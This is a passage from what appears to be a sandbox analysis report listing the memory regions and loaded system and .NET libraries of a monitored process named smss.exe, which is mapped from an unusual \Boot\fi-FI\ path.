[0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 7268 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 7269 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 7270 start_va = 0x280000 end_va = 0x357fff monitored = 1 entry_point = 0x34f1ee region_type = mapped_file name = "smss.exe" filename = "\\Boot\\fi-FI\\smss.exe" (normalized: "c:\\boot\\fi-fi\\smss.exe") Region: id = 7271 start_va = 0x380000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 7272 start_va = 0x77810000 end_va = 0x779b8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 7273 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 7274 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 7275 start_va = 0x7feffb30000 end_va = 0x7feffb30fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 7276 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 7277 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 7278 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 7279 start_va = 0x40000 end_va = 0x24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000040000" filename = "" Region: id = 7280 start_va = 0x7fefa8a0000 end_va = 0x7fefa90efff monitored = 1 entry_point = 0x7fefa8a1134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 7281 start_va = 0x775f0000 end_va = 0x7770efff monitored = 0 entry_point = 0x77605340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 7282 start_va = 0x7fefd810000 end_va = 0x7fefd87bfff monitored = 0 entry_point = 0x7fefd812780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 7298 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 7299 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 7300 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 7301 start_va = 0x40000 end_va = 0xa6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 7302 start_va = 0xb0000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 7303 start_va = 0x1d0000 end_va = 0x24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 7304 start_va = 0x480000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 7305 start_va = 0xb0000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 7306 start_va = 0x150000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 7591 start_va = 0x7fefe4d0000 end_va = 0x7fefe5aafff monitored = 0 entry_point = 0x7fefe4f0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 7592 start_va = 0x7fefdb30000 end_va = 0x7fefdbcefff monitored = 0 entry_point = 0x7fefdb325a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 7593 start_va = 0x7feffa50000 end_va = 0x7feffa6efff monitored = 0 entry_point = 0x7feffa560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 7594 start_va = 0x7fefe3a0000 end_va = 0x7fefe4ccfff monitored = 0 entry_point = 0x7fefe3eed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 7595 start_va = 0x580000 end_va = 0x61ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 7596 start_va = 0x620000 end_va = 0x71ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000620000" filename = "" Region: id = 7609 start_va = 0x7fef7fc0000 end_va = 0x7fef8068fff monitored = 1 entry_point = 0x7fef7fc1010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 7816 start_va = 0x7fefa890000 end_va = 0x7fefa892fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 7868 start_va = 0x7fefdef0000 end_va = 0x7fefdf60fff monitored = 0 entry_point = 0x7fefdf01e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 7869 start_va = 0x7fefdce0000 end_va = 0x7fefdd46fff monitored = 0 entry_point = 0x7fefdceb03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 7870 start_va = 0x77710000 end_va = 0x77809fff monitored = 0 entry_point = 0x7772a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 7871 start_va = 0x7feffa70000 end_va = 0x7feffa7dfff monitored = 0 entry_point = 0x7feffa71080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 7872 start_va = 0x7feff340000 end_va = 0x7feff408fff monitored = 0 entry_point = 0x7feff3ba874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 7893 start_va = 0x160000 end_va = 0x188fff monitored = 0 entry_point = 0x161010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7894 start_va = 0x720000 end_va = 0x8a7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000720000" filename = "" Region: id = 7895 start_va = 0x160000 end_va = 0x188fff monitored = 0 entry_point = 0x161010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7896 start_va = 0x7fefdcb0000 end_va = 0x7fefdcddfff monitored = 0 entry_point = 0x7fefdcb1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7897 start_va = 0x7feff410000 end_va = 0x7feff518fff monitored = 0 entry_point = 0x7feff411064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 8084 start_va = 0x8b0000 end_va = 0xa30fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008b0000" filename = "" Region: id = 8085 start_va = 0xa40000 end_va = 0x1e3ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a40000" filename = "" Region: id = 8086 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 8087 start_va = 0x130000 end_va = 0x130fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 8088 start_va = 0x1e40000 end_va = 0x1f10fff monitored = 1 entry_point = 0x1f0f1ee region_type = mapped_file name = "smss.exe" filename = "\\Boot\\fi-FI\\smss.exe" (normalized: "c:\\boot\\fi-fi\\smss.exe") Region: id = 8269 start_va = 0x1e40000 end_va = 0x1f10fff monitored = 1 entry_point = 0x1f0f1ee region_type = mapped_file name = "smss.exe" filename = "\\Boot\\fi-FI\\smss.exe" (normalized: "c:\\boot\\fi-fi\\smss.exe") Region: id = 8270 start_va = 0x7fefc920000 end_va = 0x7fefc92bfff monitored = 0 entry_point = 0x7fefc921064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 8288 start_va = 0x7fef3f30000 end_va = 0x7fef49f6fff monitored = 1 entry_point = 0x7fef3f363a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8322 start_va = 0x7fef3f30000 end_va = 0x7fef49f6fff monitored = 1 entry_point = 0x7fef3f363a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8448 start_va = 0x7fef3f30000 end_va = 0x7fef49f6fff monitored = 1 entry_point = 0x7fef3f363a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8449 start_va = 0x7fef3f00000 end_va = 0x7fef3f15fff monitored = 0 entry_point = 0x7fef3f0c000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 8450 start_va = 0x7fef3e40000 end_va = 0x7fef3efcfff monitored = 0 entry_point = 0x7fef3ec7db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 8499 start_va = 0x140000 end_va = 0x140fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 8500 start_va = 0x160000 end_va = 0x16ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000160000" filename = "" Region: id = 8501 start_va = 0x170000 end_va = 0x17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 8502 start_va = 0x7fe948d0000 end_va = 0x7fe948dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe948d0000" filename = "" Region: id = 8503 start_va = 0x7fe948e0000 end_va = 0x7fe948effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe948e0000" filename = "" Region: id = 8504 start_va = 0x7fe948f0000 end_va = 0x7fe9497ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe948f0000" filename = "" Region: id = 8505 start_va = 0x7fe94980000 end_va = 0x7fe949effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94980000" filename = "" Region: id = 8506 start_va = 0x180000 end_va = 0x180fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 8507 start_va = 0x190000 end_va = 0x190fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 8508 start_va = 0x1e40000 end_va = 0x201ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e40000" filename = "" Region: id = 8509 start_va = 0x2020000 end_va = 0x224ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002020000" filename = "" Region: id = 8510 start_va = 0x2280000 end_va = 0x237ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 8511 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 8512 start_va = 0x1a0000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 8513 start_va = 0x2380000 end_va = 0x1a37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 8600 start_va = 0x1a380000 end_va = 0x1a6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a380000" filename = "" Region: id = 8601 start_va = 0x1e40000 end_va = 0x1f40fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e40000" filename = "" Region: id = 8602 start_va = 0x1fa0000 end_va = 0x201ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fa0000" filename = "" Region: id = 8603 start_va = 0x2040000 end_va = 0x213ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002040000" filename = "" Region: id = 8604 start_va = 0x21d0000 end_va = 0x224ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021d0000" filename = "" Region: id = 8605 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 8676 start_va = 0x1a7a0000 end_va = 0x1a89ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a7a0000" filename = "" Region: id = 8677 start_va = 0x1a8a0000 end_va = 0x1a99ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a8a0000" filename = "" Region: id = 8678 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 8701 start_va = 0x1a9a0000 end_va = 0x1ac6efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 8718 start_va = 0x7fef2840000 end_va = 0x7fef3e3cfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Region: id = 8738 start_va = 0x7fefe060000 end_va = 0x7fefe262fff monitored = 0 entry_point = 0x7fefe083330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 8739 start_va = 0x580000 end_va = 0x5fcfff monitored = 0 entry_point = 0x58cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 8740 start_va = 0x610000 end_va = 0x61ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000610000" filename = "" Region: id = 8741 start_va = 0x580000 end_va = 0x5fcfff monitored = 0 entry_point = 0x58cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 8742 start_va = 0x7fefd690000 end_va = 0x7fefd69efff monitored = 0 entry_point = 0x7fefd691010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 8845 start_va = 0x7fefc0b0000 end_va = 0x7fefc105fff monitored = 0 entry_point = 0x7fefc0bbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 8846 start_va = 0x1ac70000 end_va = 0x1ad3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac70000" filename = "" Region: id = 8847 start_va = 0x1ad40000 end_va = 0x1ae1efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ad40000" filename = "" Region: id = 8848 start_va = 0x7fffff10000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 8849 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 8850 start_va = 0x7fe949f0000 end_va = 0x7fe94a6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe949f0000" filename = "" Region: id = 8892 start_va = 0x7fe94a70000 end_va = 0x7fe94a7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a70000" filename = "" Region: id = 8893 start_va = 0x7fe94a80000 end_va = 0x7fe94a8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a80000" filename = "" Region: id = 8927 start_va = 0x7fef7460000 end_va = 0x7fef7462fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 8928 start_va = 0x7fef5450000 end_va = 0x7fef559efff monitored = 1 entry_point = 0x7fef5451090 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 8943 start_va = 0x1a0000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 8963 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 8964 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 8965 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 9014 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 9029 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 9044 start_va = 0x1c0000 end_va = 0x1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 9053 start_va = 0x1ae20000 end_va = 0x1af7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ae20000" filename = "" Region: id = 9071 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 9122 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 9123 start_va = 0x1c0000 end_va = 0x1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 9124 start_va = 0x250000 end_va = 0x25ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 9131 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 9132 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 9158 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 9183 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 9193 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 9201 start_va = 0x580000 end_va = 0x5e1fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorrc.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscorrc.dll") Region: id = 9237 start_va = 0x1ae50000 end_va = 0x1ae8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ae50000" filename = "" Region: id = 9238 start_va = 0x1af00000 end_va = 0x1af7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af00000" filename = "" Region: id = 9239 start_va = 0x1afe0000 end_va = 0x1b0dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001afe0000" filename = "" Region: id = 9240 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 9241 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 9287 start_va = 0x1b220000 end_va = 0x1b31ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b220000" filename = "" Region: id = 9288 start_va = 0x7fefd070000 end_va = 0x7fefd087fff monitored = 0 entry_point = 0x7fefd073b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 9289 start_va = 0x7ffffefe000 end_va = 0x7ffffefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefe000" filename = "" Region: id = 9290 start_va = 0x1f50000 end_va = 0x1f94fff monitored = 0 entry_point = 0x1f51064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9291 start_va = 0x1f50000 end_va = 0x1f94fff monitored = 0 entry_point = 0x1f51064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9292 start_va = 0x1f50000 end_va = 0x1f94fff monitored = 0 entry_point = 0x1f51064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9293 start_va = 0x1f50000 end_va = 0x1f94fff monitored = 0 entry_point = 0x1f51064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9294 start_va = 0x1f50000 end_va = 0x1f94fff monitored = 0 entry_point = 0x1f51064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9295 start_va = 0x7fefcd70000 end_va = 0x7fefcdb6fff monitored = 0 entry_point = 0x7fefcd71064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9414 start_va = 0x7fefd740000 end_va = 0x7fefd753fff monitored = 0 entry_point = 0x7fefd7410e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 9415 start_va = 0x1b370000 end_va = 0x1b46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 9416 start_va = 0x7ffffefc000 end_va = 0x7ffffefdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefc000" filename = "" Region: id = 9467 start_va = 0x1b520000 end_va = 0x1b61ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b520000" filename = "" Region: id = 9468 start_va = 0x7ffffefa000 end_va = 0x7ffffefbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefa000" filename = "" Region: id = 9511 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 9540 start_va = 0x1b710000 end_va = 0x1b80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b710000" filename = "" Region: id = 9541 start_va = 0x7ffffef8000 end_va = 0x7ffffef9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffef8000" filename = "" Region: id = 9549 start_va = 0x7fef1bd0000 end_va = 0x7fef283efff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\e43dd9c73ab5615e461bf5109c3facd6\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\e43dd9c73ab5615e461bf5109c3facd6\\system.ni.dll") Region: id = 9575 start_va = 0x7fef5250000 end_va = 0x7fef5444fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\ece80f2e3752a779e894fd45d8f27e64\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.drawing\\ece80f2e3752a779e894fd45d8f27e64\\system.drawing.ni.dll") Region: id = 9579 start_va = 0x7fef0b20000 end_va = 0x7fef1bc5fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\b138f79dea860272ebe6694d9b73f656\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.windows.forms\\b138f79dea860272ebe6694d9b73f656\\system.windows.forms.ni.dll") Region: id = 9609 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 9620 start_va = 0x1c0000 end_va = 0x1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 9682 start_va = 0x7fef8940000 end_va = 0x7fef8955fff monitored = 1 entry_point = 0x7fef894e5e0 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\nlssorting.dll") Region: id = 9683 start_va = 0x1b810000 end_va = 0x1bae1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sortdefault.nlp") Region: id = 9684 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 9685 start_va = 0x1c0000 end_va = 0x1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 9686 start_va = 0x250000 end_va = 0x25ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 9687 start_va = 0x260000 end_va = 0x26ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 9688 start_va = 0x270000 end_va = 0x27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 9800 start_va = 0x360000 end_va = 0x36ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000360000" filename = "" Region: id = 9801 start_va = 0x370000 end_va = 0x37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000370000" filename = "" Region: id = 9802 start_va = 0x5f0000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005f0000" filename = "" Region: id = 